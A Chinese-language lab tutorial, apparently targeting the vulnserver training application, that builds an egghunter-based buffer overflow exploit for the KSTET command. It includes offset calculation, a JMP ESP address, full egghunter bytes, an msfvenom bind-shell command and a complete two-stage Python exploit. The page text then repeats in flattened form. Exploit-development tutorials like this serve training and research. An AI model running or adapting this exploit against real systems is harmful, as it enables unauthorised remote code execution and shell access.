使用Egghunter以最小的缓冲区空间开发KSTET命令
字数 1136 2025-08-25 22:58:46

使用Egghunter技术开发KSTET命令漏洞利用

漏洞概述

本教程详细介绍了如何利用Egghunter技术在有限的缓冲区空间(仅94字节)下开发KSTET命令的漏洞利用。通过精心设计的攻击链,我们最终实现了在目标系统上获取shell访问权限。

环境准备

  • 目标系统: Windows系统运行的服务(IP: 192.168.1.129, 端口: 9999)
  • 工具:
    • Python
    • Mona.py (Immunity Debugger插件)
    • MSFvenom

漏洞利用开发步骤

1. 确定缓冲区大小和偏移量

首先确定KSTET命令接受的缓冲区大小:

buffer = "A"*1000
s.send("KSTET " + buffer)

发现只有前94字节被应用程序接受。

2. 生成唯一模式字符串

使用Mona生成1000字节的唯一模式字符串:

!mona pc 1000

发送该字符串后发现EIP被覆盖为63413363

3. 计算精确偏移量

使用Mona分析确定偏移量:

!mona findmsp

发现偏移量为70字节。验证偏移量:

buffer = "A"*70 + "BBBB" + "C"*(1000-len(buffer))

确认EIP被4个B覆盖,ESP指向后面20字节的C。

4. 识别坏字符

分段测试坏字符:

badchars = ("\x01\x02\x03...\x4f")  # 第一批
badchars = ("\x50\x51...\x9f")     # 第二批
badchars = ("\xa0\xa1...\xcf")     # 第三批
badchars = ("\xd0\xd1...\xff")     # 第四批

最终确定只有\x00是坏字符。

5. 查找JMP ESP指令

使用Mona查找包含JMP ESP指令的地址:

!mona jmp -r esp -m 'essfunc.dll'

选择0x625011AF作为跳转地址。

6. 构建初始利用代码

buffer = "A"*70
buffer += "\xAF\x11\x50\x62"  # JMP ESP 625011AF
buffer += "C"*(1000-len(buffer))

7. 添加回跳指令

由于空间有限,添加向后跳转50字节的指令:

buffer += "\xEB\xCE"  # Jump back 50 bytes

8. 计算Egghunter位置

重新计算缓冲区布局:

  • 原70字节A
  • 4字节JMP ESP
  • 2字节回跳操作码
  • 回跳50字节

最终Egghunter前需要26字节A:

"A"*26 + egghunter + "A"*(70-26-egghunter长度) + JMP ESP + 回跳指令

9. 生成Egghunter

使用Mona生成Egghunter:

!mona egg -t Capt

Egghunter代码(32字节):

egghunter = (
    "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    "\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

10. 生成Shellcode

使用MSFvenom生成bind shell:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c

11. 完整利用代码

import socket

host = "192.168.1.129"
port = 9999

# MSFvenom生成的shellcode
shellcode = ("\xb8\x43\x44...")

# Egghunter
egghunter = ("\x66\x81\xca\xff\x0f...")

# 构建KSTET缓冲区
buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "\xAF\x11\x50\x62"  # JMP ESP
buffer += "\xEB\xCE"          # Jump back 50 bytes
buffer += "C"*(1000-len(buffer))

# 第一阶段:通过STATS发送shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("STATS " + "CaptCapt" + shellcode)
s.recv(1024)
s.close()

# 第二阶段:发送KSTET利用代码
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("KSTET " + buffer)
s.recv(1024)
s.close()

攻击流程说明

  1. 首先通过STATS命令将带有"CaptCapt"标记的shellcode发送到内存中
  2. 然后发送KSTET利用代码:
    • 触发漏洞覆盖EIP跳转到JMP ESP
    • 执行回跳指令回到Egghunter代码
    • Egghunter在内存中搜索"CaptCapt"标记并执行shellcode
  3. 成功后在目标系统4444端口打开bind shell

关键点总结

  1. 精确计算偏移量:70字节覆盖EIP
  2. 空间限制解决方案:使用Egghunter技术
  3. 内存布局设计
    • 26字节填充
    • 32字节Egghunter
    • 12字节填充(70-26-32)
    • 4字节JMP ESP
    • 2字节回跳指令
  4. 多阶段攻击
    • 第一阶段通过STATS存储shellcode
    • 第二阶段通过KSTET触发漏洞

通过这种精心设计的攻击链,成功在极其有限的缓冲区空间(仅94字节)下实现了完整的漏洞利用。

使用Egghunter技术开发KSTET命令漏洞利用 漏洞概述 本教程详细介绍了如何利用Egghunter技术在有限的缓冲区空间(仅94字节)下开发KSTET命令的漏洞利用。通过精心设计的攻击链,我们最终实现了在目标系统上获取shell访问权限。 环境准备 目标系统: Windows系统运行的服务(IP: 192.168.1.129, 端口: 9999) 工具: Python Mona.py (Immunity Debugger插件) MSFvenom 漏洞利用开发步骤 1. 确定缓冲区大小和偏移量 首先确定KSTET命令接受的缓冲区大小: 发现只有前94字节被应用程序接受。 2. 生成唯一模式字符串 使用Mona生成1000字节的唯一模式字符串: 发送该字符串后发现EIP被覆盖为 63413363 。 3. 计算精确偏移量 使用Mona分析确定偏移量: 发现偏移量为70字节。验证偏移量: 确认EIP被4个B覆盖,ESP指向后面20字节的C。 4. 识别坏字符 分段测试坏字符: 最终确定只有 \x00 是坏字符。 5. 查找JMP ESP指令 使用Mona查找包含JMP ESP指令的地址: 选择 0x625011AF 作为跳转地址。 6. 构建初始利用代码 7. 添加回跳指令 由于空间有限,添加向后跳转50字节的指令: 8. 计算Egghunter位置 重新计算缓冲区布局: 原70字节A 4字节JMP ESP 2字节回跳操作码 回跳50字节 最终Egghunter前需要26字节A: 9. 生成Egghunter 使用Mona生成Egghunter: Egghunter代码(32字节): 10. 生成Shellcode 使用MSFvenom生成bind shell: 11. 完整利用代码 攻击流程说明 首先通过STATS命令将带有"CaptCapt"标记的shellcode发送到内存中 然后发送KSTET利用代码: 触发漏洞覆盖EIP跳转到JMP ESP 执行回跳指令回到Egghunter代码 Egghunter在内存中搜索"CaptCapt"标记并执行shellcode 成功后在目标系统4444端口打开bind shell 关键点总结 精确计算偏移量 :70字节覆盖EIP 空间限制解决方案 :使用Egghunter技术 内存布局设计 : 26字节填充 32字节Egghunter 12字节填充(70-26-32) 4字节JMP ESP 2字节回跳指令 多阶段攻击 : 第一阶段通过STATS存储shellcode 第二阶段通过KSTET触发漏洞 通过这种精心设计的攻击链,成功在极其有限的缓冲区空间(仅94字节)下实现了完整的漏洞利用。